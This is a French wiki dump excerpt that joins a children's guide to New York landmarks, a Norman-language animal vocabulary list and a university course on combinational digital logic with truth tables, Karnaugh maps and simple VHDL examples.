commun est la densité de leurs gratte-ciel. Les tours forment une gigantesque forêt d'acier et de verre. Le CBD est le cœur de l'agglomération. Il regroupe des immeubles de bureaux, de grands hôtels qui accueillent les touristes, des commerces de luxe et des activités financières. [[Image:Dragon in Chinatown during Chinese new year NYC.jpg|thumb|left|Chinatown]] Alors que dans les autres grandes villes américaines, le centre des affaires est déserté la nuit, celui de Midtown reste très animé grâce à ses théâtres et ses attractions. *'''Les quartiers "ethniques"''' À New York, comme dans les autres villes américaines, la population se regroupe par quartier, en général à proximité du centre des affaires. Ces quartiers ethniques reflètent la composition de la population américaine. Le quartier chinois s'appelle ''chinatown''. On y trouve des restaurants et des boutiques chinoises. Les panneaux sont écrits en chinois et en anglais ; certains bâtiments imitent l'architecture des pagodes. Les populations les plus défavorisées vivent dans des ghettos pauvres. À New York, ces quartiers se trouvent au nord de Manhattan, à Harlem et dans le Bronx. Si l'habitat commence à être rénové à certains endroits, d'autres rues sont laissées à l'abandon et connaissent de graves problèmes sociaux. *'''Central Park, le poumon de New York''' [[Image:Central Park4.jpg|right|250px]] Central Park est le plus grand espace vert de Manhattan. Il s'étend sur 340 hectares et mesure presque 5 kilomètres du nord au sud. Il reçoit plus de 20 millions de visiteurs par an qui viennent faire du sport, se promener ou visiter le zoo. Les dimanches ensoleillés, les pelouses sont prises d'assaut et les New-Yorkais viennent jouer au base-ball, écouter des concerts en plein air ou faire du vélo en famille. En hiver, il est possible d'y faire du patin à glace. [[Image:Crystal Clear app kcoloredit.png|50px|left]]'''L'East Side, quartier des musées''' L'East Side (à l'est de Central Park) est le quartier chic de New York. Les loyers y sont parmi les plus élevés de la ville (plus de 2000 euros par mois !). Autrefois, les grandes familles d'entrepreneurs et d'industriels américains s'y faisaient construire de somptueux appartements. Aujourd'hui, les acteurs de cinéma et les chanteurs en vogue les ont un peu suplantés ... Mais l'Est Side est aussi le quartier des musées. Les deux plus grands sont le METropolitan Museum of Art (les New-Yorkais l'appellent le "MET") et le musée Guggenheim. Le MET est l'un des plus grands musées du monde. Il expose, entre autres choses, des collections égyptiennes (dont un temple), grecques, romaines, médiévales, des peintures impressionnistes, des objets d'art ... Le Musée Guggenheim est plutôt consacré à l'art contemporain. =Que voir à New York ?= [[Image:Crystal Clear action find.png|50px|left]]'''Une certaine "Miss Liberty"''' <div style="float:right; border:2px solid #800080; width:250px; background-color:#ffaaff; margin-left:0.6em; padding:0.6em"> [[Image:Crystal Clear app xmag.png|50px]] '''La statue de la liberté, c'est ...''': * 46 mètres de hauteur (93 m. avec le socle) * 300 plaques de cuivre * 354 marches * 225 tonnes </div> La statue de la liberté est à New York ce que la Tour Eiffel est à Paris ... tout un symbole ! Les deux grandes dames ont d'ailleurs bien des points communs : elles commémorent toutes les deux une révolution (révolution américaine de 1776 et révolution française de 1789), elles ont été montées au XIX{{e}} siècle et leur armature a été conçue par l'ingénieur Gustave Eiffel. Elle a été offerte par les Français aux Américains, comme un gage d'amitié. La statue est posée sur une île de l'estuaire de l'Hudson. On doit prendre le ferry pour la visiter. Du haut de la tête, la vue sur Manhattan est grandiose ! Autrefois, les migrants qui arrivaient d'Europe étaient frappés par la vision de cette statue colossale. [[Image:Statue-de-la-liberte-new-york.jpg|100px|left]] Sa main droite tend une torche qui éclaire le monde. Dans la main gauche, elle tient une tablette sur laquelle est inscrite la date de l'indépendance des États-Unis (4 juillet 1776). Sur sa base, on peut lire le poème suivant : :''Donne-moi tes pauvres, tes exténués :Qui en rangs pressés aspirent à vivre libres, :Le rebut de tes rivages surpeuplés, :Envoie-les moi, les déshérités, que la tempête me les rapporte :De ma lumière, j'éclaire la porte d'or !'' [[Image:Manhattan at Dusk by slonecker.jpg|thumb|250px|L'''Empire State Building'']] *'''L'Empire State Building''' Depuis la destruction des tours du World Trade Center en 2001, l'Empire State Building est le bâtiment le plus haut de New York. Cet immeuble bâti au début des années 1930, se dresse fièrement à 449 mètres de hauteur avec son antenne, soit 129 mètres de plus que la Tour Eiffel. C'est l'un des endroits les plus fréquentés par les touristes ... et par les amoureux qui s'y donnent rendez-vous le jour de la Saint-Valentin. La plate-forme d’observation, tout en haut du gratte-ciel (86{{e}} étage) est visitée chaque année par plus de 3,5 millions de personnes Le sommet de l’édifice est éclairé en fonction des fêtes et de l'actualité : tous les 14 juillet (''Bastille Day''), ces couleurs sont le bleu, le blanc et le rouge ! Le 28 juillet 1945, un bombardier B-25 Mitchell s'écrasa dans la face nord de l'immeuble au niveau du 79{{e}} étage. L'incendie fut rapidement éteint mais 13 personnes périrent dans l’accident. *'''Times Square''' [[Image:New York Times Square.JPG|thumb|left|Times Square]] Times Square est le nom d'une place très fréquentée de Midtown. Plusieurs avenues s'y croisent. Elle est connue dans le monde entrier à cause de ses gigantesques écrans à cristaux liquides, allumés 24 heures / 24. Ici se croisent les hommes d'affaires, les touristes, les spectateurs ... et les fameux taxis jaunes (''Yellow Cabs''). =Pour aller plus loin ...= ==Photographies== <gallery> Image:Grand central chrysler.jpg|Gare et Chrysler Building, Manhattan, New York Image:42e rue.jpg|42{{e}} rue, Midtown, New York Image:Empire state building.jpg|Empire State Building, New York Image:Saint Patrick front1.jpg|Cathédrale Saint-Patrick, New York Image:Iron cast building SoHo NYC.jpg|Manhattan, New York Image:NYSE july 2003.jpg|Wall Street, la bourse de New York Image:Trump tower.jpg|La Trump Tower, New York Image:Grand Central Station Main Concourse Jan 2006.jpg|Intérieur de Grand Central </gallery> ==Lectures== *''New York City'', Bibliothèque de Travail Junior, PEMF, n°15, juin 1998. ==Webcam : New York en direct !== *[http://nyctmc.org/xmanhattan.asp# Cliquez sur le plan ...] Langue normande/Les bêtes 7177 34242 2006-02-23T14:24:38Z 212.9.28.86 == ''les animaux domestiques'': l's annimaux apprivouaîsis== [[Image:Young mixed-breed dog (aka).jpg|thumb|Tch'est qu'ch'est? <br> ''Ch'est un tchian''.]] ''un chien'': un tchian<br /> ''un chat'': un cat<br /> ''un poisson rouge'': un rouoge paîsson<br /> ''un cochon d'Inde'': un couochon d'la Dginnée<br /> __NOTOC__ == ''le bétail'': le bestchias== [[Image:Jersey cattle in Jersey.jpg|thumb|Tch'est qu'ch'est? <br> ''Ch'est eune vaque''.]] ''une vache'': eune vaque<br /> ''un taureau'': un touothé<br /> ''un boeuf'': un boeu<br /> ''un veau'': un vieau<br /> ''un mouton'': eune brébis<br /> ''une brebis'': eune brébis<br /> ''un bélier'': un b'lîn<br /> ''un agneau'': un angné<br /> ''une chèvre'': eune biche<br /> ''un porc'': eune bête à saie, un p'tit moussieu<br /> ''une truie'': eune trie<br /> ''un cheval'': un j'va<br /> ''une jument'': eune jeunment<br /> ''un poulet'': un poulet<br /> ''une poule'': eune poule<br /> ''un lapin'': un lapîn<br /> ''un canard'': un cannard<br /> ''une oie'': un pithot<br /> == ''les animaux sauvages'': l's annimaux sauvages== [[Image:Baby ginger monkey.jpg|thumb|Tch'est qu'ch'est? <br> ''Ch'est un marmoûset''.]] ''un ours'': un ours<br /> ''un chameau'': un chanmeau<br /> ''un zèbre'': un zèbre<br /> ''un éléphant'': un êléphant<br /> ''un tigre'': un tigre<br /> ''un lion'': un lion<br /> ''un léopard'': un léopard<br /> ''un singe'': un marmoûset<br /> ''une girafe'': eune girafe<br /> ''un hippopotame'': un hippopotame<br /> ''un rhinocéros'': un rhinocéros<br /> ''une baleine'': eune baleine<br /> ''une pieuvre'': eune pieuvre<br /> == a bird : ''un ouaîsé''== [[Image:Owl In Deep Thoughts.jpg|thumb|Tch'est qu'ch'est? <br> ''Ch'est un cahouain''.]] ''un aigle'': un aigl'ye<br /> ''un merle'': un mêle<br /> ''une hirondelle'': eune héthonde<br /> ''un moineau'': un mouosson<br /> ''un corbeau'': un corbîn<br /> ''un rossignol'': un rossîngno<br /> ''un rouge-gorge'': un rouoge-gorge<br /> ''une grive'': eune grive<br /> ''une pie'': eune pie<br /> ''un hibou'': un cahouain<br /> ''une mouette'': eune mauve<br /> == ''un poisson'': un paîsson == [[Image:Maquereaux etal.jpg|thumb|Tch'est qu'ch'est? <br> ''Ch'est du maqu'thé''.]] ''un requin'': un cheurque<br /> Wikiversité/Électricité et Électronique 7178 35754 2006-03-04T08:26:18Z 83.192.5.9 /* Cours */ == TD avec éléments de cours == *[[Cours de premier cycle universitaire (L1-L2) Electronique numérique : logique ]] *[[Cours de premier cycle universitaire (L1-L2) Electronique numérique : logique séquentielle]] == TP == Cours de premier cycle universitaire (L1-L2) Électronique numérique : logique 7179 40395 2006-04-16T18:44:14Z 83.201.115.237 /* Représentation (BBQ Doudoune Meth nazbrock fonky fresh life style) */ == TD1 : Fonctions logiques élémentaires == === Définitions === Un état logique est représenté par une valeur binaire (ou booléenne) qui peut prendre deux valeurs souvent notées : {0,1}, {vrai, faux}, {true, false}. On utilisera {0,1} dans la suite de ce TD. Une variable booléenne (ou variable logique) est une grandeur représentée par un symbole pouvant prendre des valeurs booléennes. Une fonction logique est une fonction d'une ou plusieurs variables booléennes. Cette fonction sera représentée par un dessin ou en langage de description matérielle VHDL [[w:VHDL |(VHDL)]] comme ci-dessous : {| border="0" cellpadding="2" cellspacing="0" |- |[[Image:-Td1fig1.png]] || <pre><nowiki> -- Commentaire VHDL ENTITY Fct IS PORT(a,b : IN BIT; y : OUT BIT); END Fct; </nowiki></pre> |} Cette fonction comporte deux entrées a et b et une sortie y. === Représentation === Comment savoir ce que fait une fonction booléenne ? Tout simplement en énumérant toutes les possibilités sur les entrées et en regardant la sortie correspondante : c'est ce que l'on appelle une table de vérité. Avec cette table on connaît parfaitement la fonction F. Voici un exemple : ; Table de vérité {| border cellspacing="0" width="150" |- style = "background:#b3e2d1;text-align:center" | colspan="2"|Entrées||Sortie |- style="text-align:center" |'''a'''||'''b'''||'''y''' |- style="text-align:center" |0||0||0 |- style="text-align:center" |0||1||0 |- style="text-align:center" |1||0||0 |- style="text-align:center" |1||1||1 |} Chaque fonction booléenne peut être écrite sous forme algébrique à l'aide de trois opérateurs, le complément (noté / ou avec une barre au-dessus<math>\bar{q}</math>), le ET (noté .) et le OU (noté +). Le principe est le suivant : on cherche les 1 dans la partie sortie de la table de vérité et à chaque 1 trouvé correspond un terme trouvé à l'aide de la partie entrée de cette même table. Chacun des termes est alors séparé par un OU (+). Les termes sont des ET entre les variables (complémentées si elles sont à 0 et non complémentées si elles sont à 1. Dans l'exemple ci-dessus, il y a un seul 1 dans la partie sortie, donc un seul terme formé par a . b car il y a un 1 pour chacune des variables. === Fonctions élémentaires === Les fonctions élémentaires de la logique sont déjà présentées ici : [[w:Fonction_logique |(fonctions logiques)]] et [[w:Alg%C3%A8bre_de_Boole_%28logique%29|(Algèbre de Boole)]] <u>Remarque</u> : dans la référence ci-dessus certaines fonctions sont appelées NON-OU et NON-ET alors que nous avons tendance à les appeler OU-NON et ET-NON. Il est bon de garder à l'esprit les deux appellations avec en plus l'appellation anglaise correspondante : NOR et NAND. === Exercices === ==== Exercice 1 ==== On appellera dans toute la suite de ce cours ''fonction identité'' le complément de la fonction ou exclusif. On rappelle la table de vérité du ou exclusif : ; Table de vérité :{| border cellspacing="0" width="150" |- style = "background:#b3e2d1;text-align:center" | colspan="2"|Entrées||Sortie |- style="text-align:center" |'''a'''||'''b'''||'''y''' |- style="text-align:center" |0||0||0 |- style="text-align:center" |0||1||1 |- style="text-align:center" |1||0||1 |- style="text-align:center" |1||1||0 |} La fonction identité est appelée ainsi car elle vaut 1 dès que les entrées sont identiques. Établir la table de vérité de la fonction identité. Établir les équations algébriques du OU EXCLUSIF et de la fonction identité. ==== Exercice 2 ==== Compléter le tableau suivant. Pour la partie ET on cherchera des fonctions sous la forme de ET (comme /a . b par exemple). Pour la partie OU on cherchera des fonctions sous la forme de OU (comme a + /b par exemple) ; Tableau à compléter :{| border cellspacing="0" width="550" |- style = "background:#b3e2d1;text-align:center" | colspan="2"|Entrées||colspan="4"|ET logiques ||colspan="4"|OU logiques |- style="text-align:center" |'''a'''||'''b'''||colspan="4"| ||colspan="4"| |- style="text-align:center" |0||0||0||0||0||1||1||1||1||0 |- style="text-align:center" |0||1||0||0||1||0||1||1||0||1 |- style="text-align:center" |1||0||0||1||0||0||1||0||1||1 |- style="text-align:center" |1||1||1||0||0||0||0||1||1||1 |- |colspan="2"|Fonction F|| || || || || || || || |- |colspan="2"|Fonction /F|| || || || || || || || |- |colspan="2"|équivalent d'après /F|| || || || || || || || |} Pour touver l'équivalent d'après /F on procède ainsi : on part de F, on cherche la fonction qui correspond à son complément et on la complémente encore une fois. Cela permet de passer de l'écriture en ET à l'écriture en OU (et inversement) avec des règles que l'on appellera plus tard '''règles de De Morgan'''. == TD2 : assemblage de fonctions == === Assemblage des fonctions élémentaires === A partir des fonctions élémentaires présentées au TD 1, il est possible d'en construire de plus complexes, ayant par exemple 3 variables d'entrées... Une question vient alors à l'esprit : comment trouver la table de vérité correspondante ? [[Image:Td2fig1.png]] En calculant d'abord d, puis y, on trouve la table de vérité complète : ; Table de vérité :{| border cellspacing="0" width="150" |- style = "background:#b3e2d1;text-align:center" | colspan="3"|Entrées||colspan="2"|Sorties |- style="text-align:center" |'''c'''||'''b'''||'''a'''||'''d'''||'''y''' |- style="text-align:center" |0||0||0||0||0 |- style="text-align:center" |0||0||1||0||0 |- style="text-align:center" |0||1||0||0||0 |- style="text-align:center" |0||1||1||1||1 |- style="text-align:center" |1||0||0||0||1 |- style="text-align:center" |1||0||1||0||1 |- style="text-align:center" |1||1||0||0||1 |- style="text-align:center" |1||1||1||1||1 |} A partir d'un schéma il est donc très simple de trouver une table de vérité ou une équation. Cette équation possédera plusieurs parenthèses si elle est établie directement à partir du schéma. On peut supprimer ces parenthèses en utilisant la distributivité (elle sera utilisée plus tard). Un moyen de ne pas avoir de parenthèses est d'établir les équations à partir de la table de vérité. Il est facile de montrer que plusieurs schémas différents peuvent donner une même table de vérité. On peut donc avoir plusieurs équations logiques pour une même fonction. Le but de la logique est en général de trier un peu ces équations et de trouver quelles sont celles qui ont un intérêt. ==== Exercice 1 ==== Vérifier si les deux circuits combinatoires ci-dessous ont la même table de vérité, écrire ensuite la ou les équations booléennes correspondantes. [[Image:Td2fig2.png]] === Retour sur VHDL === Pour écrire un programme VHDL qui décrit un schéma, on commence par décrire les portes élémentaires. Un programme VHDL comporte une partie entité et une partie architecture [[w:VHDL |(VHDL)]]. <pre><nowiki> -- Commentaire VHDL ENTITY et IS PORT(a,b : IN BIT; y : OUT BIT); END et; --VHDL ARCHITECTURE truc OF et IS BEGIN y<=a AND b; END truc; </nowiki></pre> On suppose que les portes élémentaires du TD1 s'appellent oui, inverseur, et, et_non, ou, ou_non, ouex. A partir de ces fonctions élémentaires on peut décrire un schéma (description structurelle) de la façon suivante : {| border="1" cellpadding="2" cellspacing="0" |- |[[Image:Td2fig3.png]] || <pre><nowiki> -- Commentaire VHDL ENTITY Fct IS PORT(e0,e1,e2 : IN BIT; s : OUT BIT); END Fct; ARCHITECTURE truc OF Fct IS SIGNAL e0e1,e2bar : BIT; BEGIN i1:et PORT MAP(e0,e1,e0e1); i2:inverseur PORT MAP(e2,e2bar); i3:ou PORT MAP(e0e1,e2bar,s); END truc; </nowiki></pre> |} <u>Remarque</u> : l'écriture du programme précédent n'est pas tout à fait complète, il manque le "package" mais nous n'évoquons pas ce problème pour le moment. === Les tableaux de Karnaugh === Une représentation plus synthétique existe pour les fonctions à plusieurs variables, c'est le tableau de Karnaugh : [[w:Tableau_de_Karnaugh |( Table de Karnaugh)]] On rappelle leur structure maintenant pour deux, trois et quatre variables : [[image:Td3fig1.png]] ==== Exercice 2 ==== Trouver les tables de vérités et les tableaux de Karnaugh pour S1 et S2 donnés par les schémas ci-dessous. Ecrire les programmes VHDL correspondants. [[Image:Td3fig2.png]] ==== Exercice 3 ==== Pour une des relations de De Morgan du TD précédent, faire deux schémas (à partir des sept fonctions élémentaires) et écrire les programmes VHDL (descriptions structurelles) correspondants. == TD3 : simplification et implantation de formes disjonctives == ===Simplification par Karnaugh === Une équation obtenue à partir d'une table de vérité s'appelle une forme disjonctive ou somme de produits. Les tableaux de Karnaugh permettent de simplifier ces formes disjonctives en regroupant des termes. Pour obtenir un terme à partir d'un regroupement, on se « balade » dans le regroupement et on regarde toutes les variables qui changent : elles sont alors éliminées. L'objectif d'une simplification par tableaux de Karnaugh est de réaliser les regroupements les plus grands possibles et en nombre le plus petit possible. Voir [[w:Tableau_de_Karnaugh |( Table de Karnaugh)]] La forme simplifiée obtenue à l'aide d'un tableau de Karnaugh est une forme disjonctive simplifiée. Celle obtenue à partir de la table de vérité est dite disjonctive canonique. ==== Exercice 1 ==== Trouver la forme disjonctive simplifiée correspondante au tableau de Karnaugh ci-dessous. [[Image:Td3fig3.png]] Parfois il arrive que pour une fonction donnée, une ou plusieurs combinaisons des entrées ne peut se produire. Dans ce cas ce qui se passera en sortie n'a aucune importance : on dit que l'on a des cas indéterminés. Ils sont notés x ou X ou &Oslash;. On les choisit alors comme cela nous arrange. [[Image:Td3fig3b.png]] === Implantation d'une forme disjonctive === Une forme disjonctive, qu'elle soit simplifiée ou non, s'implante de manière naturelle en une structure ET-OU (les ET d'abord pour finir par les OU). Cette forme ET-OU conduit directement, en utilisant De Morgan, à un schéma en ET-NON (NAND). Prenons comme exemple la forme simplifiée du tableau de Karnaugh suivant [[Image:Td3figx.png]] La figure ci-dessous explique la démarche pour obtenir un schéma en ET-NON (NAND). [[Image:Td3fig4.png]] On part d'une forme disjonctive si possible simplifiée et on fait une schéma en trois couches ET/OU (d'abord les ET puis le OU) puis on transforme le OU final en ET-NON en faisant glisser les inverseurs de ses entrées. Le schéma obtenu est alors en trois couches ET-NON qui utilise des portes à nombre d'entrées illimité. Si on limite le nombre d'entrées des ET-NON on ne limite alors plus le nombre de couches à trois. On peut partir d'un schéma à trois couches et utiliser les équivalences suivantes : [[Image:-Td3fig5.png]] <u>Remarque</u> : tout serait très simple si la règle suivante était vraie : à toute meilleure simplification d'une forme disjonctive correspond le meilleur schéma (celui qui utilise le moins de portes possible). Montrons sur deux exemples que ce n'est pas vrai, qu'il faut parfois éviter les formes disjonctives : [[Image:-Td3fig6.png]] Cette figure nous montre le gain de deux portes en partie supérieure et le gain d'une porte en partie inférieure. Après toute synthèse en ET-NON, il faudra chercher si une des deux optimisations ci-dessus n'est pas applicable. ==== Exercice 2 ==== Pour chacune des équations ci-dessous, trouver la forme disjonctive simplifiée, réaliser la synthèse trois couches avec des portes ET-NON. <math>y_1 = a.(b+c) </math> avec 3 portes <math>y_2 = a.b + \bar{c} </math> avec 2 portes <math>y_3 = \bar{a}.b + a.c </math> avec 4 portes <math>y_4 = \bar{a}.b + a.\bar{b} </math> avec 4 portes <math>y_5 = ((\bar{a}+b) . (a+ c) + b.c) . (a+b+c) </math> avec 4 portes <math>y_6 = \bar{a}.b.\bar{c} + a.\bar{b}.c </math> avec 5 portes == TD4 : simplification et implantation de formes conjonctives == === Simplification par Karnaugh === Les tableaux de Karnaugh permettent d'obtenir les formes conjonctives simplifiées en regroupant des termes (représentés par des 0). [[Image:Td4fig1.png]] On peut avoir des regroupements de 2, 4, 8, 16, ...termes. Ce sont des puissances de 2. Pour obtenir la forme somme de produit simplifiée on regroupe les zéros du tableaux de Karnaugh pour obtenir /y. Puis on applique deux fois De Morgan : <math>\bar{y} = a.c + a.\bar{b}.\bar{d} + \bar{a}.b.\bar{c}</math> soit : <math>y = \overline{a.c + a.\bar{b}.\bar{d} + \bar{a}.b.\bar{c}}</math> J'applique une première fois de Morgan : <math>y = \overline{(a.c)} . \overline{(a.\bar{b}.\bar{d})} . \overline{(\bar{a}.b.\bar{c})}</math> puis une deuxième fois : <math>y = (\bar{a}+\bar{c}) . (\bar{a}+b+d) . (a+\bar{b}+c)</math> Sipour une raison quelconque une ou plusieurs combinaisons des entrées ne peut arriver, ce qui se passera en sortie n'a aucune importance pour ces combinaisons. On dit que l'on a des cas indéterminés. Ils sont traités comme dans le TD précédent. ===Implantation d'une forme conjonctive=== Une forme conjonctive, qu'elle soit simplifiée ou non, s'implante de manière naturelle en une structure OU-ET (les OU d'abord pour finir un ET). Cette forme OU-ET conduit directement, en utilisant De Morgan, à un schéma en OU-NON (NOR). Prenons comme exemple la forme simplifiée du tableau de Karnaugh précédent. [[Image:Td4fig2.png]] Pour obtenir un schéma en OU-NON (NOR) on part d'une forme conjonctive si possible simplifiée et on fait une schéma en trois couches OU/ET puis on transforme le ET final en OU-NON en faisant glisser les inverseurs de ses entrées. Le schéma obtenu est alors en trois couches mais utilise des portes à nombre d'entrées illimité. Si on limite le nombre d'entrées des OU-NON on ne limite alors plus le nombre de couches à trois. On peut partir d'un schéma trois couches et utiliser les équivalences. Elles sont tellement similaires aux équivalences du TD précédent qu'elles ne sont pas reproduites ici. De même pour les optimisations. ==== Exercice ==== Pour chacune des équations ci-dessous, trouver la forme disjonctive simplifiée, réaliser la synthèse trois couches avec des portes 0U-NON. <math>y_1 = a.(b+c) </math> avec 3 portes <math>y_2 = a.b + \bar{c} </math> avec 4 portes <math>y_3 = \bar{a}.b + a.c </math> avec 4 portes <math>y_4 = \bar{a}.b + a.\bar{b} </math> avec 5 portes <math>y_5 = ((\bar{a}+b) . (a+ c) + b.c) . (a+b+c) </math> avec 4 portes <math>y_6 = \bar{a}.b.\bar{c} + a.\bar{b}.c </math> avec 7 portes == TD5 : Compléments sur la simplification == === Simplification par Karnaugh === Les tableaux de Karnaugh permettent d'obtenir les formes disjonctives ou conjonctives simplifiées en regroupant des termes (représentés par des 0). Cela fonctionne très bien jusqu'à 4 variables. Que se passe-t-il après ? Si l'on réalise un tableau de Karnaugh à 5 variables on remarque qu'à côté des regroupements traditionnels il en existe qui ne sont plus contigus (flèche sur le dessin). Une technique plus intéressante consiste à réaliser un tableau de Karnaugh dans l'espace : [[image:td5fig1.png]] Il s'agit de réaliser deux tableaux de Karnaugh, un pour la cinquième variable e = 0 et un pour e = 1. On regroupe ensuite dans l'espace, sur un ou deux tableaux (avec des carrés, des rectangles, des cubes et des parallélépipèdes ayant tous une puissance de deux cases. Pour éviter cela on utilise la simplification algébrique. === Simplification algébrique === Ce chapitre utilise les propriétés de l'algèbre de Boole expliquée ici : [[w:Alg%C3%A8bre_de_Boole_%28logique%29|( Algèbre de Boole)]] La technique pour obtenir une forme disjonctive simplifiée consiste à effectuer les parenthèses et ensuite à appliquer une des règles suivantes : ; Tableau des identités remarquables {| border cellspacing="0" width="650" |- style = "background:#b3e2d1;text-align:center" | Noms ||forme disjonctive||forme conjonctive |- style="text-align:center" |élément neutre||a . 1 = a||a + 0 = a |- style="text-align:center" |élément absorbant||a . 0 = 0||a + 1 = 1 |- style="text-align:center" |idempotence||a . a = a||a + a = a |- style="text-align:center" |complément||<math>a . \bar{a} = 0</math>||<math>a + \bar{a} = 1</math> |- style="text-align:center" |commutativité || a . b = b . a||a + b = b + a |- style="text-align:center" |associativité ||(a . b) . c = a . (b . c)||(a + b) + c = a + (b + c) |- style="text-align:center" |distributivité||a . (b + c) = a . b + a . c||a + (b . c) = (a + b).(a + c) |- style="text-align:center" |Relation diverse||a + (a . b) = a||a . (a + b) = a |- style="text-align:center" |Relation diverse||<math>a + (\bar{a} . b) = a + b</math>||<math>a . (\bar{a} + b) = a + b</math> |- style="text-align:center" |Relation diverse||<math>a + (\overline{a . b}) = 1</math>||<math>a . (\overline{a + b}) = 0</math> |- style="text-align:center" |Relation diverse||<math>a . (\overline{a . b}) = a . \bar{b}</math>||<math>a + (\overline{a + b}) = a + \bar{b}</math> |- style="text-align:center" |de Morgan||<math>\overline{a . b} = \bar{a} + \bar{b}</math>||<math>(\overline{a + b}) = \bar{a} . \bar{b}</math> |- style="text-align:center" |de Morgan||<math>a . b = \overline{\bar{a} + \bar{b}}</math>||<math>(a + b) = \overline{\bar{a} . \bar{b}}</math> |- style="text-align:center" |consensus||<math>a . b + \bar{a} . c + b . c = a . b + \bar{a} . c</math>||<math>(a + b) . (\bar{a} + c) . (b + c) = (a + b) . (\bar{a} + c)</math> |- style="text-align:center" |consensus généralisé||<math>a . b + \bar{a} . c + b . c . d = a . b + \bar{a} . c</math>||<math>(a + b) . (\bar{a} + c) . (b + c + d) = (a + b) . (\bar{a} + c)</math> |} Si l'on cherche une forme disjonctive simplifiée on peut procéder de la manière suivante : - on effectue d'abord toutes les parenthèses pour trouver une forme disjonctive, - on regroupe tous les termes qui ne diffèrent que d'une variable (combinaison) en ajoutant ces termes simplifiés, - on retire ensuite tous les termes qui sont inclus dans d'autres termes, - on cherche les simplifications par consensus. Les combinaisons peuvent se faire plusieurs fois. Exemple de combinaison : <math>a . \bar{b} . \bar{c} + a . \bar{b} . c = a . \bar{b}</math> Exemple d'inclusion <math>a . \bar{b} . \bar{c} \subset a . \bar{b} </math> donne : <math>a . \bar{b} . \bar{c} + a . \bar{b} = a . \bar{b}</math> === Exercices === ==== Exercice 1 ==== Utiliser les relations algébriques pour simplifier les équations suivantes et réaliser la synthèse en ET-NON. <math>y_1 = \bar{a}.b.c + a.c + (a + b).\bar{c}</math> <math>y_2 = b.c + a.c + a.b + b</math> <math>y_3 = (a.\bar{b} + c).(a + \bar{b}).c </math> <math>y_4 = (a.c + b.\bar{c}).(a + \bar{c}).b</math> <math>y_5 = \bar{a}.b.c + a.c + (a + b).\bar{c}</math> <math>y_6 = (\bar{a}.b + a.\bar{b}).(\bar{a}.\bar{b} + a.b)</math> ==== Exercice 2 ==== Complémenter puis simplifier <math>A = a.b + b.c + a.\bar{c}</math> <math>B = \bar{c}.\bar{d} + \bar{a}.\bar{b} + c.\bar{d} + a.\bar{b}</math> == TD6 : sorties multiples, addition, codes == Les simplifications dans le cas des sorties multiples sont encore plus complexes. Nous n'allons pas aborder ce problème de front mais plutôt des problèmes périphériques. === Du demi-additionneur à l'additionneur 1 bit === Ce problème est abordé en détail ici : [[w:Additionneur | Additionneur]] Remarquons comme indiqué par la figure suivante que le schéma de l'additionneur est obtenu en n'utilisant pas les regroupements optimaux dans le tableau de Karnaugh. C'est une propriété des circuits à sorties multiples : la simplification ne consiste pas à simplifier chacune des sorties séparément. Mais nous ne traiterons pas ce problème dans le cas général ici. [[Image:td6fig1.png]] ====Exercice 1==== Implanter l'additionneur avec des OU exclisifs et des ET-NON seulement. Ecrire la table de vérité d'un soustracteur (3 entrées : A, B et Ci et deux sorties D et Co). Le soustracteur sort sur 2 bits en complément à deux (Co,D) = A - B - Ci. Implanter ce soustracteur avec des OU exclisifs et des ET-NON seulement. Implanter un circuit qui fait soit une addition soit une soustraction avec une entrée de sélection. ===De l'addition à 1 bit à l'addition à n bits=== Ce problème est abordé en détail dans l'article déjà cité : [[w:Additionneur | Additionneur]] ====Exercice 2==== Quel est le temps de propagation de l'additionneur 3 bits si un additionneur a lui-même un temps de propagation tp=10 ns. ===Arithmétique et VHDL=== L'additionneur ci-dessus peut être facilement décrit en VHDL : <pre><nowiki> -- additionneur 3 bits VHDL ENTITY add3 IS PORT (a,b :IN INTEGER RANGE 0 TO 7; s :OUT INTEGER RANGE 0 TO 15); END add3; ARCHITECTURE add OF add3 IS BEGIN s<=a+b; END add; </nowiki></pre> En écrivant cela, on n'a aucune indication sur la façon dont il sera implanté : cela dépendra du compilateur VHDL. ===Codes et transcodage=== ====Code de Gray==== Le code Gray est une code ayant une propriété particulière intéressante : il n'y a qu'une variable qui change lorsque l'on passe d'une valeur à une valeur contigue. [[Image:Td6fig2.png]] <u>Remarque</u> : Les entitées en VHDL pour entrées et sorties multiples sont plutôt déclarées sous la forme : <pre><nowiki> -- Entrees et sorties multiples ENTITY binGray IS PORT (b :IN BIT_VECTOR(3 DOWNTO 0); g :OUT BIT_VECTOR(3 DOWNTO 0)); END binGray; </nowiki></pre> ====Exercice 3==== On a besoin d'un circuit combinatoire pour transcoder le code binaire en code Gray. Trouver les formes disjonctives simplifiées de G3, G2, G1, G0. Implanter avec des OU exclusifs. Ecrire la partie architecture du programme VHDL correspondant. ====Codes décimaux==== Un code décimal permet de représenter les dix valeurs 0 --> 9. On trouve le code DCB (Decimal Codé Binaire) ou BCD en anglais. Le code exess 3 est aussi présenté ici même s'il est peu utilisé. [[Image:Td6fig3.png]] ====Exercice 4==== Un décodeur Excess 3 est un circuit qui entre le code 4 bits E3 E2 E1 E0 et valide une sortie parmi les 9. On évitera de confondre ce circuit avec un transcodeur BCD Excess 3. Étudier un tel circuit, l'implanter. Écrire le programme VHDL correspondant. ====Exercice 5==== Trouver la table de vérité d'un transcodeur BCD vers code GRAY (c'est à dire un code GRAY cyclique sur 10 valeurs). == TD7 : Tables de vérité généralisées (SI-ALORS)== ===Caractéristiques des tables de vérité=== Reprenons une table de vérité simple : ; Table de vérité :{| border cellspacing="0" width="150" |- style = "background:#b3e2d1;text-align:center" | colspan="2"|Entrées||colspan="2"|Sorties |- style="text-align:center" |'''a'''||'''b'''||'''y'''||'''z''' |- style="text-align:center" |0||0||0||1 |- style="text-align:center" |0||1||1||0 |- style="text-align:center" |1||0||1||1 |- style="text-align:center" |1||1||1||0 |} Quelles sont ses caractéristiques ? * elle a deux parties, une à gauche (Entrées) que l'on appellera SI, une à droite (Sorties) que l'on appellera ALORS, * la partie SI décrit toutes les possibilités sur les entrées * la partie ALORS ne contient que des 1 et des 0. ===Tables de vérité généralisées=== On appelle table de vérité généralisée ou table SI-ALORS toute table de vérité pour laquelle on autorise dans la partie ALORS des 0 des 1 et des équations logiques sur les entrées. Les entrées apparaissant dans la partie SI seront appelées entrées de programmation. Elles seront dessinées en général du bas vers le haut (on utilise ici pour simplifier la notation américaine). <u>Exemple</u> : [[Image:td7fig1.png]] Pour trouver une équation à partir d'une table SI-ALORS on fait comme avec une table de vérité : on multiplie la partie alors par la partie SI pour chacune des lignes. Ici on obtient : <math>s = 0 . 